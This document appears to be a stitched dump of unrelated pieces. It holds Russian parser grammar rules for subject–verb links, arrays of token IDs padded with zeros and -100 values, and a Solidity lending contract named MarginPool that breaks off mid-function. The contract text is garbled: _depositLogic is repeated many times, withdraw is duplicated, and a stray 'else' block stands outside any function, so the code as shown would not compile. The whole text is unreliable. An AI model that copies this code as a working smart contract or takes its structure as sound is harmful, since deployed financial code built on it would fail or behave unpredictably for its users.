МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2173 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ЭТО ОДИН ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a _Дефис МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ} ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2174 : LINK_SUBJECT_VERB { // КОШКА - ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2175 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2176 : LINK_SUBJECT_VERB { // КОШКА - ОДИН ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2177 : LINK_SUBJECT_VERB { // ОДНА КОШКА - ОДИН ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } _Дефис ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2178 : LINK_SUBJECT_VERB { // КОШКА ЭТО ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2179 : LINK_SUBJECT_VERB { // ОДНА КОШКА ЭТО ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2180 : LINK_SUBJECT_VERB { // КОШКА ЭТО ОДИН ЗВЕРЬ if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2181 : LINK_SUBJECT_VERB { // ОДНА КОШКА ЭТО ОДИН ЗВЕРЬ if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } } correlate { 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 } } operator SubjectVerb_2182 : LINK_SUBJECT_VERB { // ЗВЕРЬ ЛИ КОШКА if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b ЧАСТИЦА:ЛИ{} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2183 : LINK_SUBJECT_VERB { // ОДИН ЗВЕРЬ ЛИ КОШКА if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b ЧАСТИЦА:ЛИ{} СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_2184 : LINK_SUBJECT_VERB { // ЗВЕРЬ ЛИ ОДНА КОШКА if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b ЧАСТИЦА:ЛИ{} ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#a } then context { #a.<ATTRIBUTE>#b } } operator SubjectVerb_3000 : LINK_SUBJECT_VERB { // КОТУ НАДО СПАТЬ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ДАТ}#a БЕЗЛИЧ_ГЛАГОЛ{}#b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_3010 : LINK_SUBJECT_VERB { // ОДНОМУ КОТУ НАДО СПАТЬ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ДАТ}#a БЕЗЛИЧ_ГЛАГОЛ{}#b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_3020 : LINK_SUBJECT_VERB { // ЕМУ НАДО СПАТЬ if context { МЕСТОИМЕНИЕ{ПАДЕЖ:ДАТ}#a БЕЗЛИЧ_ГЛАГОЛ{}#b } then context { #b.<SUBJECT>#a } } operator SubjectVerb_3030 : LINK_SUBJECT_VERB { // БЫЛО ВЫПИТО МНОГО ВИНА if context { ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР } ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР } СУЩЕСТВИТЕЛЬНОЕ:* { ПАДЕЖ:РОД } } correlate { ЧИСЛО } then context { 2.<ATTRIBUTE>1.0 } } operator SubjectVerb_3040 : LINK_SUBJECT_VERB { // БЫЛО СЪЕДЕНО ДВА КИЛОГРАММА САЛА if context { ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР } ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР } ЧИСЛИТЕЛЬНОЕ:* { ПАДЕЖ:РОД } } correlate { ЧИСЛО } then context { 2.<ATTRIBUTE>1.0 } } operator SubjectVerb_3050 : LINK_SUBJECT_VERB { // ДВА КИЛОГРАММА САЛА БЫЛО СЪЕДЕНО if context { ЧИСЛИТЕЛЬНОЕ:* { ПАДЕЖ:РОД } ГЛАГОЛ:БЫТЬ { ВРЕМЯ:ПРОШЕДШЕЕ РОД:СР } ПРИЛАГАТЕЛЬНОЕ:* { ПРИЧАСТИЕ СТРАД КРАТКИЙ РОД:СР } } correlate { ЧИСЛО } then context { 0.<ATTRIBUTE>2.1 } } operator SubjectVerb_4000 : LINK_SUBJECT_VERB { // ОН - ЧЕЛОВЕК. if context { МЕСТОИМЕНИЕ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _КОН } then context { #a.<ATTRIBUTE>#b 3 } } operator SubjectVerb_4010 : LINK_SUBJECT_VERB { // ОН - ЧЕЛОВЕК, if context { МЕСТОИМЕНИЕ{ПАДЕЖ:ИМ}#a _Дефис СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b _Запятая } then context { #a.<ATTRIBUTE>#b 3 } } operator SubjectVerb_4020 : LINK_SUBJECT_VERB { // БЫЛО СЪЕДЕНО ДВА ЯБЛОКА if context { [center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Род:Ср Число:Ед } #b ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:Им } #a } then context { #b.<SUBJECT>#a } } operator SubjectVerb_4030 : LINK_SUBJECT_VERB { // БЫЛО СЪЕДЕНО ЯБЛОКО if context { [center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Род:Ср Число:Ед } #b Существительное { ПАДЕЖ:Им } #a } then context { #b.<SUBJECT>#a } } operator SubjectVerb_4040 : LINK_SUBJECT_VERB { // БЫЛИ СЪЕДЕНЫ ДВА ЯБЛОКА if context { [center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Число:Мн } #b ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:Им } #a } then context { #b.<SUBJECT>#a } } operator SubjectVerb_4050 : LINK_SUBJECT_VERB { // БЫЛИ СЪЕДЕНЫ ЯБЛОКИ if context { [center:Глагол:Быть{} Прилагательное] { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ Число:Мн } #b Существительное { ПАДЕЖ:Им } #a } then context { #b.<SUBJECT>#a } } #pragma floating on }
ОДНА КОШКА - ОДИН ЗВЕРЬ
{ if context { _Дефис } } operator SubjectVerb_2170 : LINK_SUBJECT_VERB
12,586,374
[ 1, 4625, 348, 7953, 560, 30, 225, 225, 145, 257, 145, 247, 145, 256, 145, 243, 225, 145, 253, 145, 257, 145, 106, 145, 253, 145, 243, 300, 225, 145, 257, 145, 247, 145, 251, 145, 256, 225, 145, 250, 145, 245, 145, 248, 145, 259, 145, 110, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 288, 203, 225, 309, 819, 288, 203, 2868, 389, 145, 247, 145, 118, 146, 231, 145, 121, 146, 228, 203, 2398, 289, 203, 289, 203, 203, 3726, 9912, 16281, 67, 22, 31779, 294, 22926, 67, 8362, 5304, 67, 2204, 38, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xAdcDAEc4fD335CC9A42a520b434585F343202A57/sources/MarginPool.sol
* @title MarginPool contract @dev Main point of interaction with an Lever protocol's market - Users can: # Deposit # Withdraw # Borrow # Repay # Liquidate positions - To be covered by a proxy contract, owned by the MarginPoolAddressesProvider of the specific market - All admin functions are callable by the MarginPoolConfigurator contract defined also in the MarginPoolAddressesProvider @author Lever/main configuration parameters
contract MarginPool is VersionedInitializable, IMarginPool, MarginPoolStorage { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; uint256 public constant MAX_NUMBER_RESERVES = 128; uint256 public constant MARGINPOOL_REVISION = 0x1; IUniswapV2Router02 public uniswaper; IUniswapV2Router02 public sushiSwaper; address public wethAddress; address public constant inchor = 0x11111112542D85B3EF69AE05771c2dCCff4fAa26; modifier whenNotPaused() { _whenNotPaused(); _; } modifier onlyMarginPoolConfigurator() { _onlyMarginPoolConfigurator(); _; } function _whenNotPaused() internal view { require(!_paused, Errors.MP_IS_PAUSED); } function _onlyMarginPoolConfigurator() internal view { require( _addressesProvider.getMarginPoolConfigurator() == msg.sender, Errors.MP_CALLER_NOT_MARGIN_POOL_CONFIGURATOR ); } function getRevision() internal pure override returns (uint256) { return MARGINPOOL_REVISION; } function initialize( IMarginPoolAddressesProvider provider, IUniswapV2Router02 _uniswaper, IUniswapV2Router02 _sushiSwaper, address _weth ) public initializer { _addressesProvider = provider; uniswaper = _uniswaper; sushiSwaper = _sushiSwaper; wethAddress = _weth; } function deposit( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address xToken = reserve.xTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, xToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, xToken, amount); _depositLogic(asset, amount, onBehalfOf, xToken, reserve); } function reDeposit( address asset, uint256 amount, address onBehalfOf ) internal whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address xToken = reserve.xTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, xToken, amount, 0); IERC20(asset).safeTransfer(xToken, amount); _depositLogic(asset, amount, onBehalfOf, xToken, reserve); } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } } else { function _depositLogic( address asset, uint256 amount, address onBehalfOf, address xToken, DataTypes.ReserveData storage reserve ) internal { uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); if (variableDebt > 0) { uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); if (variableDebt == paybackAmount) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (amount > paybackAmount) { bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount.sub(paybackAmount), reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral( reserve.id, true ); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit( asset, msg.sender, onBehalfOf, amount.sub(paybackAmount) ); } bool isFirstDeposit = IXToken(xToken).mint( onBehalfOf, amount, reserve.liquidityIndex ); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount); } } function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address xToken = reserve.xTokenAddress; uint256 userBalance = IXToken(xToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, xToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, to, amountToWithdraw, reserve.liquidityIndex ); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address xToken = reserve.xTokenAddress; uint256 userBalance = IXToken(xToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, xToken, 0, 